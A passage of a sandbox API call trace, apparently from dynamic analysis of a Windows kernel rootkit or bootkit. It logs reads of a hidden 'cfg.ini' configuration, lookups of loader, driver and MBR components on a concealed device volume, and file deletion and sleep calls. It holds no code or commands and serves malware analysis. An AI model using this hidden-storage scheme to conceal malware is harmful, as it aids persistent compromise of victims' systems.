Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.486] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.486] IdePortDispatch () returned 0x103 [0127.486] KeWaitForMutexObject () returned 0x0 [0127.486] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.486] KeLeaveCriticalRegion () [0127.486] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.486] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.486] KeEnterCriticalRegion () [0127.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.486] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035cc000 [0127.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.486] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.486] IdePortDispatch () returned 0x103 [0127.487] KeWaitForMutexObject () returned 0x0 [0127.487] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.487] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.487] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.487] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.487] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.487] IdePortDispatch () returned 0x103 [0127.487] KeWaitForMutexObject () returned 0x0 [0127.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.487] KeLeaveCriticalRegion () [0127.487] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.488] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.488] KeEnterCriticalRegion () [0127.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.488] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.488] KeLeaveCriticalRegion () [0127.488] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.488] KeEnterCriticalRegion () [0127.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.488] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.488] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.488] KeLeaveCriticalRegion () [0127.488] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.488] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.488] KeEnterCriticalRegion () [0127.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.488] ExFreePoolWithTag (P=0xfffffa80037e19a0, Tag=0x0) [0127.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.488] KeLeaveCriticalRegion () [0127.488] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.488] ReleaseMutex (hMutex=0xf0) returned 1 [0127.488] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.488] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.489] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.489] KeEnterCriticalRegion () [0127.489] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.489] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.489] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.489] IdePortDispatch () returned 0x103 [0127.489] KeWaitForMutexObject () returned 0x0 [0127.489] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.489] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.489] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.489] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.489] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.489] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1840 [0127.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.489] KeLeaveCriticalRegion () [0127.489] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.489] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.489] KeEnterCriticalRegion () [0127.489] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.489] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.489] KeLeaveCriticalRegion () [0127.489] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.489] KeEnterCriticalRegion () [0127.489] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.490] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.490] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.490] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.490] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.490] IdePortDispatch () returned 0x103 [0127.490] KeWaitForMutexObject () returned 0x0 [0127.490] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.490] KeLeaveCriticalRegion () [0127.490] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.490] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.490] KeEnterCriticalRegion () [0127.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.490] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035cd000 [0127.490] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.490] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.490] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.490] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.490] IdePortDispatch () returned 0x103 [0127.491] KeWaitForMutexObject () returned 0x0 [0127.491] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.491] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.491] IdePortDispatch () returned 0x103 [0127.491] KeWaitForMutexObject () returned 0x0 [0127.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.493] KeLeaveCriticalRegion () [0127.493] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.494] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.494] KeEnterCriticalRegion () [0127.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.494] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.494] KeLeaveCriticalRegion () [0127.494] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.494] KeEnterCriticalRegion () [0127.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.494] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.494] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039bbaf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.494] KeLeaveCriticalRegion () [0127.494] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.494] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.494] KeEnterCriticalRegion () [0127.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.494] ExFreePoolWithTag (P=0xfffffa80037e1840, Tag=0x0) [0127.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.494] KeLeaveCriticalRegion () [0127.494] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.494] ReleaseMutex (hMutex=0xf0) returned 1 [0127.494] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.502] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.502] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.503] KeEnterCriticalRegion () [0127.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.503] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.503] IdePortDispatch () returned 0x103 [0127.503] KeWaitForMutexObject () returned 0x0 [0127.503] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.503] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.503] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.503] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.503] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.503] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e18f0 [0127.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.503] KeLeaveCriticalRegion () [0127.503] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.503] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.503] KeEnterCriticalRegion () [0127.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.503] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.503] KeLeaveCriticalRegion () [0127.503] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.503] KeEnterCriticalRegion () [0127.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.504] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.504] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.504] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.504] IdePortDispatch () returned 0x103 [0127.504] KeWaitForMutexObject () returned 0x0 [0127.504] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.504] KeLeaveCriticalRegion () [0127.504] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.504] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.504] KeEnterCriticalRegion () [0127.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.504] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b17000 [0127.504] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.504] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.504] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.504] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.504] IdePortDispatch () returned 0x103 [0127.504] KeWaitForMutexObject () returned 0x0 [0127.505] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.505] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.505] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.505] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.505] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.505] IdePortDispatch () returned 0x103 [0127.505] KeWaitForMutexObject () returned 0x0 [0127.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.505] KeLeaveCriticalRegion () [0127.505] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.506] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.506] KeEnterCriticalRegion () [0127.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.506] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.506] KeLeaveCriticalRegion () [0127.506] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.506] KeEnterCriticalRegion () [0127.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.506] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.506] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.506] KeLeaveCriticalRegion () [0127.506] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.506] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.506] KeEnterCriticalRegion () [0127.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.506] ExFreePoolWithTag (P=0xfffffa80037e18f0, Tag=0x0) [0127.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.506] KeLeaveCriticalRegion () [0127.506] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.506] ReleaseMutex (hMutex=0xf0) returned 1 [0127.506] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.506] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.506] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.506] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.506] KeEnterCriticalRegion () [0127.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.506] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.507] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.507] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.507] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.507] IdePortDispatch () returned 0x103 [0127.507] KeWaitForMutexObject () returned 0x0 [0127.507] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.507] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.507] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.507] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.507] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.507] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.507] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.507] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.507] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.507] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.507] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.507] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.507] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.507] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.507] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.507] KeLeaveCriticalRegion () [0127.507] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.507] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.507] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.507] KeEnterCriticalRegion () [0127.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.507] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.507] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.507] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.508] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.508] IdePortDispatch () returned 0x103 [0127.508] KeWaitForMutexObject () returned 0x0 [0127.508] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.508] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.508] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.508] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.508] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.508] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.508] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.508] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.508] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.508] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.508] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.508] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.508] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.508] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.508] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.508] KeLeaveCriticalRegion () [0127.508] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.508] ReleaseMutex (hMutex=0x100) returned 1 [0127.508] Sleep (dwMilliseconds=0x2bf20) [0127.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f333f10, dwHighDateTime=0x1d24fa4)) [0127.518] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: 